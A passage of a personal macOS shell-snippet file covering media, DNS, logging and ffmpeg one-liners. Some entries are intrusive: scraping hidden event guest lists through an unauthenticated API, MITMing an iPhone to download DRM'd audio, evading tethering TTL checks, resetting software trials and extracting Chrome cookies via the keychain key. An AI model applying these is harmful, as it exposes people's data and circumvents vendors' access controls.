command = "for f in /Users/chris/Library/Application\\ Support/MobileSync/Backup/*/Info.plist ; do echo \"backup id: ${f:h:t} name: $(plutil -p \"$f\" | g \"device name\" | hck -d '=> ' -f 2) size: $(unbuffer diskus ${f:h}) \"; done"
output = ""
[[snippets]]
description = "dd/gdd: read first 1.5GB of a file. Useful for messing with/testing dropbox. I used this hack to trick Dropbox to start uploading and make partial progress on uploading a very large .tar file. I won't start while the main archive is still being updated to even though I know, though Dropbox doesn't, that the first parts of the file on disk will not change. By making a file just with the first 1.5GB Dropbox will start uploading that. And since Dropbox de-duplicates very easily and very quickly as soon as the main tar is finished being written Dropbox won't have to re-upload its first 1.5GB. (for bonus points, make sure your file divide evenly into 4MiB chunks since only those chunks are de-duplicated)"
command = "gdd if=replicator-2022-10-18.tar bs=100M count=15 > replicator_head_1.5G_testo.tar"
output = ""
[[snippets]]
description = "media renaming: Take all media in a folder and decrement (decrease) the epsideo number by 1. Useful for making ep numbers line up with imdb. Happens when a thing has a 2 parter that's expressed as 1 episode on imdb but 2 on the blu-ray/media file names"
command = "last_e=\"03\"; for e in {04..21}; do mv -v *S01E${e}*.mkv \"$(echo *S01E${e}*.mkv | sd \"S01E${e}\" \"S01E${last_e}\")\"; last_e=$e; done"
output = ""
[[snippets]]
description = "public http server/port forwarding: Some commands to make a local HTTP server publically access on a remote server (joyo). Could have used ssh port forwarding alone but this particular sshd is configured to not allow binding on public ports. So instead we bind to a local port with SSH and then have socat forward to that port and it's attached to the public interfaces"
command = "ssh -o ExitOnForwardFailure=yes -o ServerAliveInterval 60 -o ServerAliveCountMax 2 -o LOGLEVEL DEBUG1 -N -R 5050:localhost:22 chris@joyo; ## on remote host to make port public: # socat tcp-l:37337,fork,reuseaddr tcp:127.0.0.1:5050"
output = ""
[[snippets]]
description = "iina/mpv: twiddle cache secs on loop to make the fetching more bursty. Might help get around Comcast's traffic shaping/prioritization"
command = "loopSleep 80 eval 'mpg cache-secs 300; psleep 15; mpg cache-secs 100; mpc \"show-text '\"'\"'\\${osd-ass-cc/0}{\\\\pos(3,1)\\\\\\\\fs3.5\\\\1a&Hbb}cache-secs=\\${cache-secs}'\"'\"' 1000 \"; '"
output = ""
[[snippets]]
description = "join an array on string/shell-fu: join an array/list on arbitary string just using native-zsh features. Took me awhile to figure this out..."
command = "function join_by2() { print -r -- ${(pj:$1:)@[2,$#@]} }; join_by2 $'\\n' hello i am chris ### the key is the 'p' expansion flag which allows variables/escapes in expansion flag string arguments. Also note 'print -r' prevent any echo-like interpretation so a literal \\n with $'\\n' must be passed in"
output = ""
[[snippets]]
description = "remove duplicate while preserving order/shell-fu: uses awk, of course. But requires keeping it all in memory which is why most other methods of removing duplicates dont preserve order."
command = "echo .... | awk '!visited[$0]++'"
output = ""
[[snippets]]
description = "fartiful h4x0ring: get the user ids on an event with no guest list so you can pull the name from the user ids"
command = "join_by \",\" $(curl https://fartiful.com/api/events/wVJYd4HwUHDmzEpcSXAp/guests | jq '.[].user._path.segments[1]') | pbcopy"
output = ""
[[snippets]]
description = "fartiful h4x0ring: get the full guest list for any fartiful event even when the guest list is hidden or when you don't have access. Reported this issue to fartiful multiple times and they've confirmed they don't care about it since it still relies on someone knowing the secret event URL/ID. I think it's bad, but they don't, so here's how you do it. This just gets the user ids from one API call and then makes another API to get the info/name/photos for all those users. No auth or session cookies requires for any calls. ¯\\_(ツ)_/¯"
command = "FARTIFUL_ID=\"....\"; _curlcache 'https://us-central1-getfartiful.cloudfunctions.net/getUsers' -H 'content-type: application/json' --data-raw '{\"data\":{\"ids\":'\"$(_curlcache https://fartiful.com/api/events/$FARTIFUL_ID/guests | jq '[.[].user._path.segments[1]]')\"',\"excludePartyStats\":true,\"includePartyStats\":false}}' --compressed | jq | less"
output = ""
[[snippets]]
description = "extract javascript/js source from a js source map (js.map file). Still requires getting ever .map file locally so not ideal"
command = "wget https://site.com/_next/static/chunks/pages/_app-d7666905dbc728ec.js.map ; unpack /tmp/_app_src _app-d7666905dbc728ec.js.map"
output = ""
[[snippets]]
description = "search pet snippet on the CLI... actually highlight matching word and handles line wrapping better than `pet search`"
command = "cat ~/.config/pet/snippet.toml | tomlq -r '.[][].description' | g map"
output = ""
[[snippets]]
description = "ffplay/webcam show in corner: auto places ffplay ontop in the bottom right corner"
command = "W=180 H=132; \\ffplay -loglevel verbose -f avfoundation -framerate 30 -s \"1280x720\" -noborder -noborder -left $(( $(screenw) - $W)) -top $(( $(screenh) - $H )) -alwaysontop -i \"Studio Display Camera\" -vf \"crop=iw-500:ih-150:350:0,scale=$W:$H,lutyuv=y=negval:u=negval:v=negval\""
output = ""
[[snippets]]
description = "ffprobe/ffmpeg: get media bitrate immediately. Both from the video stream or for the entire file. Can select other streams to get other stream bitrate. NOTE any stream bitrate relies on that stream having metadata which tells you the bitrate. Only the file bitrate can be determined instantly without reading the file and without metadata. Also note that the bitrate metadata can be wrong...like if the stream was re-encoded but the metadata was copied overwhole sale as is the default in many situations with ffmpeg."
command = "ffprobe -v warning -select_streams v:0 -show_entries stream=bit_rate -of csv=p=0 \"`mpp`\"; ffprobe -v warning -select_streams v:0 -show_entries format=bit_rate -of csv=p=0 \"`mpp`\" ## first is video bit rate, which requires metadata to exist. 2nd is total file bitrate, which works on anything with a known duration+filesize, of course."
output = ""
[[snippets]]
description = "mpv/iina: shell function to get the last played path from mpv player. Used in all the above snippets as \"`mpp`\". Note that if you have default-ish setup and mpv is currently open it won't return the correct path or a path at all. You need 'write-filename-in-watch-later-config' in mpv.conf for it to work at all. To have it work when mpv is open you need to call `write-watch-later-config` after opening a file. Otherwise a watch-later save file doesn't exist for the open file. Many user scripts do this automatically."
command = "mpv_last_path() { cat $HOME/.config/mpv/watch_later/$(ls -At $HOME/.config/mpv/watch_later/ | head -1) | head -1 | sed 's|^# ||' } ; alias mpp=mpv_last_path"
output = ""
[[snippets]]
description = "python in the shell with `pz`: pz in general is amazing. Here's a simple csv example. More at https://github.com/CZ-NIC/pz"
command = "echo '\"a\",\"b1,b2,b3\",\"c\"' | pz \"(x[1] for x in csv.reader([s]))\" # \"b1,b2,b3\" ### see lots more at https://github.com/CZ-NIC/pz"
output = ""
[[snippets]]
description = "shell-fu: show all oscar 'best picture' winners. (Note that the category has changed names a few times)"
command = "cat $HOME/Dropbox/workspace-defiant/github-misc/oscar_winners/Oscar_Best_Picture_Prediction_source.csv | g ',True,' | pz '(f\"{x[0]} -- {x[3]} ({x[0]})\" if any(s in x[1] for s in [\"OUTSTANDING\", \"BEST PICTURE\", \"BEST MOTION PICTURE\"]) else \"\" for x in csv.reader([s]))' | grep -E '\\d'"
output = ""
[[snippets]]
description = "exiftool: copy metatag tags from on file and write to another. Also example of overwriting all the dates associated with a file"
command = "exiftool -tagsfromfile input.jpg target.jpg; # exiftool -v -overwrite_original_in_place '-AllDates=2022:10:26 23:04:25' '-FileModifyDate=2022:10:26 23:04:25' '-CreationDate=2022:10:26 23:04:25' target.jpg"
output = ""
[[snippets]]
description = "macOS monitor live network traffic: uses little snitch for the monitoring. Then uses `pz` and python for the nice formatting. So much nicer parsing and formatting the output in python than with shell script and awk/printf..."
command = "sudo '/Applications/Little Snitch.app/Contents/Components/littlesnitch' log-traffic --stream | gex '/usr/sbin/mDNSResponder' 'Contents/MacOS/Discord Helper' '/Support/AMPDevice' '\\.local,' | pz '(f\"\"\"{x[0]}\\t{x[1]}\\t\\t{x[3]:<30}\\t{x[4] or \"_no host_\":<20}\\t\\t{x[8]}\\t{\"/\".join(x[11].split(\"/\")[-2:]):<25}\\t{x[12] or \"_no parent_\"}\"\"\" for x in csv.reader([s]))'"
output = ""
[[snippets]]
description = "imdb trivia/mpTrivia: search all trivia for a phrase, 'San Francisco' in this case. Doesn't seem to paralize well and not yet sure why. htmlq is slow and single threaded but each individual file is so small most time is spent starting up and tearing down all the processes. To improve switch to batching 20-50 files at a time to get htmlq parallization without paying too much fixed cost."
command = "time ag --files-with-matches -t \"curl 'https://www.imdb.com/title/tt\\d+/trivia/'\" \"${CURL_CACHE_DIR}/\"*.args | head -50000 | gparallel -j 5 'cat {.} | htmlq --text \".sodatext\" | sed -E \"s/^\\s+/ \\- /g\" | gsed -E \"'\"$TRIVIA_REGEX\"'\" | sd -f gim \"\\n+\" \"\\n\" | sd \"^\" \"$(cat {} | grep -E -o \"tt\\d+\") ::: \" ' | g 'San\\sFrancisco'"
output = ""
[[snippets]]
description = "shell-fu: with just zsh, remove newlines and replace them with nothing. Then output just the first 80 chars."
command = "echo ${${TITLE_TRIVIA_GOOFS//$'\\n'/}:0:80}"
output = ""
[[snippets]]
description = "watch+uniq alernative with live output and history/shell-fu: This has the best parts of \"watch\" and the best parts of piping to \"uniq\". Like \"watch\" it shows you the current state immediately, but like \"uniq\" it also shows the history. But unlike uniq it doesn't have to wait until a new different line emerges which leaves you always one state behind the current state."
command = "DELAY=0.3; CMD() { pmset -g rawbatt | head -2 | tail -1 }; OLD=\"\"; for x in {1..1000} ; do LAST=$(CMD) ; [[ ! \"$OLD\" == \"$LAST\" ]] && vecho -n \"New last not equal old last: \" && echo \"$LAST\" || vecho -n \".\"; OLD=\"$LAST\"; sleep $DELAY ; done"
output = ""
[[snippets]]
description = "hacking/macOS: Change macOS IP TTL to 65.. instead of the default 64. Useful for getting around tether restrictions that check the TTL on packets"
command = "sysctl net.inet.ip.ttl; ## sudo sysctl -w net.inet.ip.ttl=65"
output = ""
[[snippets]]
description = "tshark/tcpdump: easily make tshark/tcpdump listen on all interfaces, but excluding a few that might cause errors or are distracting."
command = "sudo tshark $(prepend_by \" -i \" $(ifconfig -l | g -o '\\S+' | gex en8 en6 ))"
output = ""
[[snippets]]
description = "shell-fu/sudo exception: Generate a configuration that excludes any command on a list from requiring a password to run sudo. Put in pasteboard and outputted to terminal. Paste in 'visudo' to enable."
command = "for c in AssetCacheLocatorUtil AssetCacheTetheratorUtil AssetCacheManagerUtil networksetup ; do echo \"%admin ALL= NOPASSWD:$(which $c)\"; done | tee -a /dev/stderr | pbcopy"
output = ""
[[snippets]]
description = "lsof: show all processes listening on any port (presumably they're listening on non-local-only interfaces"
command = "sudo lsof -P -n -iTCP -sTCP:LISTEN | g '\\*:' | g listen | hck -f 1-2,9 -D $'\\t\\t' | sd '\\*:' 'Listening: ' | sort -n -k4 | uniq"
output = ""
[[snippets]]
description = "Network Radar: write the ports to scan list to preferences"
command = "defaults write com.mac-attender.Network-Radar PortList \"{5900=vnc;443=https;21=ftp;17500='Dropbox?';53=domain;3689=daap;8080=http;54339=AssetCache;22=ssh;139=smb;80=http;51697='APple?';625=dec;7000=afs;3389=rdp;445=smb;20=ftp;63859=rapportd;3283=ARDAgent;5000=upnp;51962=AMPDevice;}\""
output = ""
[[snippets]]
description = "dns/dnscrypt-proxt testing/playing: Using the dnscrypt-proxy log, first extract the most popular looks up from the first 10k entries. Then dig all of them and output the shell time for the lookup, the answer, and its TTL. Can switch to the least popular. And the head limit ensures that the least popular results are consistent"
command = "for d in $(cat /tmp/dns.log | g 'PASS' | g '\\]\\t127' | gex 'akamai' '\\.arpa' '\\._tcp' | head -10000 | hck -f 4 | sort | uniq -c | sort -nr | sd '^\\s+' '' | hck -f 2 | head -20 ) ; do timeShell 'echo \"\\tresolving $d to --> $(join_by \" \" $(dig \"$d\" @127.0.0.1 | gex \"^$\" \"^;\" | g \"^\\S+\" | hck -f '5,2,4' | sd \"(\\w)$\" \"\\$1, \" | head -4 ))\"' ; done"
output = ""
[[snippets]]
description = "macOS contact: enable Contacts app special debug menu. A little bug. Run Contacts app in console to see some of the outputs"
command = "defaults write com.apple.Contacts ABShowDebugMenu -bool YES"
output = ""
[[snippets]]
description = "macOS logging ignore: Tells macOS to stop logging/streaming/persisting log messages from a noisey process. I don't think this config survives reboots"
command = "sudo log config --process bluetoothd --mode 'persist:off, level:off'"
output = ""
[[snippets]]
description = "rsync: filter and include only files with a certain extension/pattern. Order very important"
command = "rsync -n --itemize-changes --times -v --progress --inplace --recursive --include=\"*/\" --include=\"*English*.srt\" --exclude=\"*\" source_dir /Users/chris/Dropbox/workspace-defiant/subtitle_archive/ # alternatively: # rsync ... --include='**/' --include='**.srt' --exclude='*' ... "
output = ""
[[snippets]]
description = "zsh/personal history searching: Look for a historical command with a particular string (split) inside of the filter passed to jq"
command = "zh3 \"jq.{0,5}'[^']*split[^']*'\""
output = ""
[[snippets]]
description = "macOS defaults logging IMPROVED VERSION: Find all defaults/cfprefsd key look ups that have missing keys. Nice for finding secret little debug flags. Like NSDebugServices."
command = "log stream --info --debug --predicate \"subsystem == 'com.apple.defaults'and not (processImagePath contains 'iTerm2') AND message Contains[c] 'no value for key'\" --style=ndjson | pv -l | g -v '^Filtering the log data using' | jq 'del(.formatString)' | gsed -E --unbuffered 's|found no value for key ([^ ]+) in.*Domain: ([^,]+)|missing key \\\\\"\\1\\\\\" in domain \\\\\\\"\\2\\\\\\\"|g' | jq -r '\"\\(.processID)\\t\\(.processImagePath[-20:]) :\\t\\(.eventMessage)\"'"
output = ""
[[snippets]]
description = "dns/dnscrypt-proxy log server latency stats. IMPROVED VERSION. Much faster. Does all the grouping in datamash like it should have. Near instant. Now includes the overall count/averages in a only slightly hacky way. (and we still hackily avoiding use of '<<<\"$DNS_LOGS\"' since that would look like a varilable to pet and cause annoying bugs... i need to find something better than pet."
command = "TAIL_LEN=5000; C=30; DNS_LOGS=\"$(tac /tmp/dns.log | g -v '\\t\\-$' | g '\\tPASS\\t' | head -n $TAIL_LEN )\"; DNS_LOGS=$(echo \"$DNS_LOGS\" | sd '\\t(A|A{4}|MX|PTR|TXT|SOA|HTTP|HTTPS|DS|ANY|SRV)\\t' '\\t' | sed -E 's|\\t([0-9]+)ms|\\t\\1.00|' | hck -f 4,6,7); { echo $DNS_LOGS && echo $DNS_LOGS | sd '\\S+$' '__AVERAGE__' } | datamash --group 3 --sort count 2 median 2 harmmean 2 q3 2 sstdev 2 | awk '{printf \"%-42s count: %-6d median: %-10s hmean: %-12s q3: %-11s stdev: %.2f\\n\",$1,$2,sprintf(\"%.2f ms\",$3),sprintf(\"%.2f ms\",$4),sprintf(\"%.2f ms\",$5),$6;}' | sort -n -k 5 | head -n $C"
output = ""
[[snippets]]
description = "edid parser/macOS: Get the EDID for the current monitor and parse it with the edid-decode tool. With multiple monitors only the 1st one will be extracted. Must investigate."
command = "system_profiler -json SPDisplaysDataType | jq -r '.SPDisplaysDataType[0].\"spdisplays_ndrvs\"[].\"_spdisplays_edid\"' | tee -a /dev/stderr | pbcopy; echo; echo; ~/Dropbox/workspace-defiant/edid_monitor_tools/edid-decode/edid-decode <(pbpaste)"
output = ""
[[snippets]]
description = "alfred workflow enable/disable: Let's you do this from the terminal. Just changes the workflow's Info.plist definition. The applescript call makes Alfred see this change immediately. Though without it for me it usually notices in a couple seconds to often not required. (and might be annoying to figure out its bundle ID, or assign one)"
command = "WORKFLOW=\"/Users/chris/Dropbox/Alfred settings-NEW/Alfred.alfredpreferences/workflows/user.workflow.6B9CEC7E-3C4A-4487-8DEA-16241D70C5A9/info.plist\"; cat \"$WORKFLOW\" | sd -f igm '(<key>disabled</key>\\s*\\n\\s+)<(false|true)/>' '${1}<false/>' | sponge \"$WORKFLOW\" ; osascript -e 'tell application id \"com.runningwithcrayons.Alfred\" to reload workflow \"com.varenc.monitorContrast\"'"
output = ""
[[snippets]]
description = "jq/shell-fu: search for any value in an object, RECURSIVELY, from a particular key"
command = "system_profiler -json SPPowerDataType | jq '.. | objects | with_entries(select(.key | contains(\"sppower_ac_charger_watts\"))) | select(. != {})'; echo; echo \"or as an array...\"; echo; system_profiler -json SPPowerDataType | jq '[ .. | objects | with_entries(select(.key | contains(\"sppower_ac_charger_watts\"))) | select(. != {}) ]'"
output = ""
[[snippets]]
description = "file extensions/shell-fu: get the count for all file extensions for all files under the current directory. Also demonstrates using perl regexs in gnu parallel"
command = "fd -t f | pv -l | gparallel -n 10000000 -j 1 'echo {= ($_) = /(\\.[^.\\/]+)$/ =}' | grep -E -o \"\\S+\" | sort | uniq -c | sort -n"
output = ""
[[snippets]]
description = "## graphiql/graph explorer guide: Use 'ModResponse' Chrome extension to make a page on the target domain respond with the source of this page: 'https://graphql.org/swapi-graphql'. Modify header if necessary. This gets you same-domain access. Then just use the graph api explorer"
command = "## graphiql/graph explorer guide: Use 'ModResponse' Chrome extension to make a page on the target domain respond with the source of this page: 'https://graphql.org/swapi-graphql'. Modify header if necessary. This gets you same-domain access. Then just use the graph api explorer"
output = ""
[[snippets]]
description = "Apple iTunes/Podcasts/media futzing: open's podcasts in \"Music\" app or iTunes"
command = "open 'itmss://podcasts.apple.com/us/podcast/planet-money/id290783428?app=podcast' ### open's podcasts in \"Music\" app or iTunes"
output = ""
[[snippets]]
description = "macOS background activity log analysis: Look at the \"duet activity scheduler daemon\" (dasd) logs to see all the background tasks it's mangaging. Quite a bit. Opening the Stocks apps once for 5 seconds caused it the decide my Stocks needed constant background updating. Also it's always analyzing my photo collection of 4 photos..."
command = "log 'show' '--last' '30d' '--predicate' 'processImagePath Contains[c] '\\''dasd'\\'' and message Contains[c] '\\''Decision:'\\' '--info' --debug | g -B1 Decision: | g -o '\\d+:com[^:]+' | pv -l | sort | uniq -c | sort -n"
output = ""
[[snippets]]
description = "search all binaries recursively for a specific string (as seen in the 'strings') output. This is a bit hacky though it's a common hacky pattern."
command = "fd -t executable --exec zsh -c \"echo '____ {}'; strings '{}'\" | g backgroundFetchManager ____ | g -B1 backgroundFetchManager"
output = ""
[[snippets]]
description = "apfs/snapshots/time machine: Mount a time machine/apfs snapshot locally from the CLI. The 'trick' was using '/dev/disk1s2' instead of '/' which seems required for BigSur+. Otherwise you get 'mount_apfs: volume could not be mounted: Resource busy'"
command = "mount_apfs -o nobrowse -s com.apple.TimeMachine.2022-12-01-172958.local /dev/disk1s2 /tmp/snapshot ### get snapshot id from `tmutil listlocalsnapshots /`"
output = ""
[[snippets]]
description = "### download a ring tone from iTunes.. Got this by MITMing my iPhone with Charles. Be sure to only intercept SSL on the media requests to this domain since other requests do cert pinning. Once you have the ring tone add it directly via iTunes/Finder to your iOS Device for free! Its DRMd but iOS happily lets you use it as a ringtone for yourself anyway."
command = "curl -H \"Host: audio-ssl.itunes.apple.com\" -H \"accept: */*\" -H \"x-playback-session-id: 5E0241B3-4832-41BF-9C93-E588D7A68E31\" -H \"user-agent: AppleCoreMedia/1.0.0.19H12 (iPad; U; CPU OS 15_7 like Mac OS X; en_us)\" -H \"accept-language: en-US,en;q=0.9\" \"https://audio-ssl.itunes.apple.com/itunes-assets/AudioPreview114/v4/36/9b/ff/369bffa4-f4f7-0723-8d47-7ba91f52a528/mzaf_14741377303804890362.plus.aac.p.m4p\" > svu_ring_tone.m4r ### download a ring tone from iTunes.. Got this by MITMing my iPhone with Charles. Be sure to only intercept SSL on the media requests to this domain since other requests do cert pinning. Once you have the ring tone add it directly via iTunes/Finder to your iOS Device for free! Its DRMd but iOS happily lets you use it as a ringtone for yourself anyway."
output = ""
[[snippets]]
description = "tshark/tcpdump on ALL interfaces... and in this case snoop on DNS requests and filter out for log messages containg any of a list of strings"
command = "unbuffer tshark -n $(prepend_by \" -i \" $(dumpcap -D | hck -f 2)) 'port 53' | g 'discovery.[^_]' yorktown clyde 'Capturing on'"
output = ""
[[snippets]]
description = "macOS: start a process with a lower priority"
command = "taskpolicy -c maintenance /Applications/IINA.app/Contents/MacOS/IINA"
output = ""
[[snippets]]
description = "macOS: Make the siri analytics database unwriteable to prevent logging... probably silly"
command = "chmod -R 000 ~/Library/Assistant/SiriAnalytics.db; chflags -R uchg ~/Library/Assistant/SiriAnalytics.db;"
output = ""
[[snippets]]
description = "Siri/macOS save all recordings: This just watches for the ~/Library/Assistant/RecordedAudio/ directory which temporarily contains your siri recordings. As soon as they appear it copies them. The files are appended to as you speak mode the modification triggers answer fswatch event and the new copy will replace the old. Luckily it seems to work and captures all your siri recordings."
command = "fswatch -r ~/Library/Assistant | grep --line-buffered '.wav' | tee -a /dev/stderr | gparallel -n 1 -j1 cp -v {} /tmp/siri/ ### save all Siri recordings on macOS"
output = ""
[[snippets]]
description = "macOS/AirPort/AWDL/awdl/WiFi: Check airpot prefs! there's lots. And modify them. Unclear if modifying requires restart or has any effect"
command = "sudo /usr/libexec/airportd en0 prefs ### ; sudo /usr/libexec/airportd en0 prefs AWDLEnabled=YES"
output = ""
[[snippets]]
description = "Find My Friends: Look for logs mentioning the 'findmy://' URI scheme as called by Siri. This lets me figure out how to open Find My directly to my beloved person."
command = "log stream '--info' '--debug' --predicate 'message Contains[c] \"findmyfriends:\" OR message Contains[c] \"findmy:\" OR message Contains[c] \"fmf1:\" OR message Contains[c] \"fmip1:\"'"
output = ""
[[snippets]]
description = "macOS/Apple/debug modes: Enable a bunch of Apple debug settings on the Wireless Diagnostics tool"
command = "defaults write \"com.apple.wifi.diagnostics\" \"NSUseDebugAppearance\" -bool YES; defaults write \"com.apple.wifi.diagnostics\" \"NSShowAllWindows\" -bool YES; defaults write \"com.apple.wifi.diagnostics\" \"AppleDebugWindowDiagnosticTooltip\" -bool YES; defaults write \"com.apple.wifi.diagnostics\" \"NSShowAllViews\" -bool YES; defaults write \"com.apple.wifi.diagnostics\" \"NSShowAllDrawing\" -bool YES; defaults write \"com.apple.wifi.diagnostics\" \"NSShowAlignmentRects\" -bool YES; defaults write \"com.apple.wifi.diagnostics\" \"com.apple.hltb.traceeventlatency\" -bool YES; defaults write \"com.apple.wifi.diagnostics\" \"CUIAllowDebugPrefs\" -bool YES ; ## Enable a bunch of Apple debug settings on the Wireless Diagnostics tool"
output = ""
[[snippets]]
description = "Script Debugger 8 seems to track the state of its trial here.."
command = "or '/Users/chris/Library/Application Support/.1@xX4D@yytT2\"!2&1#a'; or 'Library/Preferences/.2xbG4@@Ght01%!020#u'; ### 'Script Debugger 8' trial date file?"
output = ""
[[snippets]]
description = "macOS mobility/network info: tools found in the 'get-mobility-info' and 'get-network-info' utils."
command = "/usr/sbin/scutil -p --snapshot /tmp/SCDynamicStore.plist; less /tmp/SCDynamicStore.plist; sudo skywalkctl netns -a | less; sudo wdutil info | less ; sudo /usr/bin/lsmp -a -v | less; sudo zprint | less; odutil show all | less; l /System/Library/Frameworks/SystemConfiguration.framework/Versions/A/Resources/get-mobility-info;"
output = ""
[[snippets]]
description = "macOS: toggle do not distrub on a timer. Requires setting a global shortcut that (everything+;) that toggle DnD"
command = "sleep 0; osascript -e 'tell application \"System Events\" to keystroke \";\" using {command down, shift down, option down, control down}'"
output = ""
[[snippets]]
description = "reset BetterDisplay trial...sorry... in my defense I installed before I actually gave it a trial"
command = "rm -r /Users/chris/Library/Caches/me.waydabber.BetterDummy /Users/chris/Library/HTTPStorages/me.waydabber.BetterDummy /Users/chris/Library/HTTPStorages/me.waydabber.BetterDummy.binarycookies /Users/chris/Library/Preferences/me.waydabber.BetterDummy.plist /Users/chris/Library/WebKit/me.waydabber.BetterDummy; rm -r '/Users/chris/Library/Application Support/BetterDummy/'; rm -r '/Users/chris/Library/Caches/me.waydabber.BetterDummy' ### and erase betterdisplay defaults"
output = ""
[[snippets]]
description = "stress test a system's memory. Fun on macOS to see all the things it does to keep up. (swap, compress, shutdown some background daemons, etc)"
command = "stress-ng --vm 2 --vm-bytes 20% -t 5m ## and see many other things: https://www.mankier.com/1/stress-ng#Examples"
output = ""
[[snippets]]
description = "mpTrivia: get trivia stats... number of imdb trivia items per episode"
command = "for s in {03..03} ; do for e in {01..23} ; do echo -n \"S${s}E${e}: \"; TRIVIA_NO_CONNECTIONS=1 TRIVIA_NO_TITLE_TRIVIA=1 NO_FOLD=1 mpTrivia \"MASH 1972 S${s}E${e}\" 2> /dev/null | g '^ \\- ' | wc -l; done; done"
output = ""
[[snippets]]
description = "macOS logging: Log all defaults/cfprefsd WRITES. Excludes lots of unnecssary stuff. Might not catch all writes. Try removing the last predicate which requires the message contain 'setting' or 'wrote'"
command = "log stream --style=ndjson --info --debug --predicate \"subsystem == 'com.apple.defaults'and not ($(__logPredOr processImagePath iTerm Finder Siri)) AND not ($(__logPredOr message 'no value for key' 'looked up value' 'skipping setting' \"Couldn\\'t open\" \"Couldn\\'t read\" 'sent a request' 'rejecting read' 'loaded: an empty base')) and ($(__logPredOr message setting wrote))\" | g -v '^Filtering the log data using' | jq -r '\"\\(.processID)\\t\\(.processImagePath[-20:]) :\\t\\(.eventMessage)\"'"
output = ""
[[snippets]]
description = "macOS: check pmset/power settings manually. Not sure why there's multiple files"
command = "plutil -p /Library/Preferences/com.apple.PowerManagement.* ## check pmset/power settings manually. Not sure why there's multiple files"
output = ""
[[snippets]]
description = "ffmpeg/mpv/iina/scene detection: Get scene change cut times from the current mpv/iina time position"
command = "ffmpeg -ss \"$((`mpt` - 0))\" -itsoffset \"`mpt`\" -i \"`mpp`\" -map 0:v -t \"$(( 120 + $(mpt) ))\" -filter:v \"select='gt(scene,0.2)',showinfo\" -f null - 2>&1 | g pts_time"
output = ""
[[snippets]]
description = "macOS launchtl: Use the error message from this command to search the possible domain-specifiers by substring. New launchctl now requires qualifies like \"system/<label>\" or \"gui/502/<label>\" or even \"pid/xxx/<label>\""
command = "launchctl print-disabled studentd ## or `launchctl print-disabled <ANYTHING>`"
output = ""
[[snippets]]
description = "homebrew/brew/make/cmake/pkgconfig: Link a /opt/ homebrew pkgcoonfig file to the more usual location in /usr/local/lib"
command = "ln -s /opt/homebrew_alt/lib/pkgconfig/libsparsehash.pc /usr/local/lib/pkgconfig/libsparsehash.pc ### Link a /opt/ homebrew pkgcoonfig file to the more usual location"
output = ""
[[snippets]]
description = "mpv: suppress most log messages without losing the status line!! key insight: the term-osd msg-level module is called 'statusline'"
command = "mpv --msg-level='all=warn,statusline=status,fingerprint=info' --msg-module ## mpv: suppress most log messages without losing the status line!! key insight: the term-osd msg-level module is called 'statusline'"
output = ""
[[snippets]]
description = "ffmpeg/eia-608 subtitles/closed captions: extract them. They're encoded as a metadata on video frames and not a seperate stream"
command = "ffmpeg -f lavfi -i 'movie=input.mkv[out+subcc]' -map 0:s:0 -f srt - ## extract EIA-608 subs"
output = ""
[[snippets]]
description = "## open US national weather service FTP data"
command = "open 'ftp://tgftp.nws.noaa.gov/data/observations/metar/decoded/' ## open US national weather service FTP data"
output = ""
[[snippets]]
description = "weather: get raw weather forecast from the NWS via ftp"
command = "curl ftp://tgftp.nws.noaa.gov/data/forecasts/state/ca/caz508.txt ; curl ftp://tgftp.nws.noaa.gov/data/forecasts/zone/ca/caz508.txt ; ## get raw weather forecast from the NWS"
output = ""
[[snippets]]
description = "macOS create an encrypted disk image/folder: TEST PASSWORD FIRST BEFORE DELETING SOURCE. -format 'UDRO' means read-only and NO COMPRESSION. No compression speeds things up. Good when its already encoded media like videos. See 'hdiutil create -help' for all options."
command = "echo -n 'PASSWORD\\0' | hdiutil create -encryption 'AES-256' -stdinpass -verbose -volname image_name -srcfolder \"/source/folder\" -ov -format UDRO /tmp/output.dmg ### Format 'UDRO' means read-only and NO COMPRESSION. No compression speeds things up. Good when its already encoded media like videos. See 'hdiutil create -help' for all options."
output = ""
[[snippets]]
description = "macOS Chrome cookie extraction: extract cookies from Chrome by using the Safe Storage key in the keychain. Just an example of using the 'browser_cookie3' but in a way that shows you how to get raw cookie values from the CookieJar object it returns."
command = "~/Dropbox/.bin/cookie_dump.py ### extract cookies from Chrome by using the Safe Storage key in the keychain"
output = ""
[[snippets]]
description = "reverse dns all local domain IPs in one DNS query using dig. Works basically instantly! Though you need to do something else and not use '+short' to actually get the IP->name mapping."
command = "dig +short $(for d in {1..255}\".86.168.192.in-addr.arpa.\" ; do echo -n \"$d\" \"PTR \"; done) 192.168.86.1 ;"
output = ""
[[snippets]]
description = "macOS attributes/file types: Use a very ancient tool to tweak a files xattr and force a certain file type treatment"
command = "touch testooo; SetFile -d \"8/4/2001 16:13\" testooo; SetFile -m \"8/4/2001 16:13\" testooo; SetFile -c \"XCEL\" testooo; SetFile -t \"TEXT\" testooo; mdls testooo;"
output = ""
[[snippets]]
description = "ping: show averages"
command = "echo 'min\\t\\tavg\\t\\tmax\\t\\tstddev'; repeat 100 { ping -q -c 20 -i 0.1 1.1.1.1 | g 'round-trip' | g -o '=.*$' '' | hck -D $'\\t' -d '/' }"
output = ""
[[snippets]]
description = "listen on unix domain socket: A bit hacky but works. Moves the socket you want to snoop to a new place then creates a forwarding socket in its place. Existing open references to the socket won't be MITM'd but new ones will be."
command = "IN=\"./mpv.sock\"; OG=\"/tmp/sock.og\"; mv -v \"$IN\" \"$OG\"; ls -la \"$OG\"; echo \"about to MITM a newly created socke at $IN\"; socat -t100 -v UNIX-LISTEN:\"${IN}\",mode=777,reuseaddr,fork UNIX-CONNECT:\"${OG}\"; echo \"RESTORING SOCKET $OG --> $IN\"; mv -v \"$OG\" \"$IN\"; ### listeon on any unix domain socket by MITMing it"
output = ""
[[snippets]]
description = "lsof: list all unix domain sockets (mpv.sock, SingletonSocket, etc)"
command = "lsof -U"
output = ""
[[snippets]]
description = "reverse dns all local domain IPs in one DNS query using dig. Then do many queries (sadly) to get the IP for each host. A bit silly doing it twice but simple and works."
command = "for h in $(dig +short $(for d in \"192.168.86.\"{1..255} ; do echo -x \"$d\" \"PTR \"; done)); do printf \"%-35s %s\\n\" $h \"$(dig +short $h)\"; done"
output = ""
[[snippets]]
description = "macOS pmset/power hacking: undocumented flag to force disable/ignore an assertions. Be careful..."
command = "sudo pmset -c disableassertion NetworkClientActive; sudo pmset -c enableassertion NetworkClientActive; ## fully disable or enable a power assertion. DANGEROUS! BE CAREFUL. Don't disbale UserIsActive. Disabling everything will probably make you stuck in sleep."
output = ""
[[snippets]]
description = "macOS power/pmset hacking: undocumented darkwake and background task linger duration options."
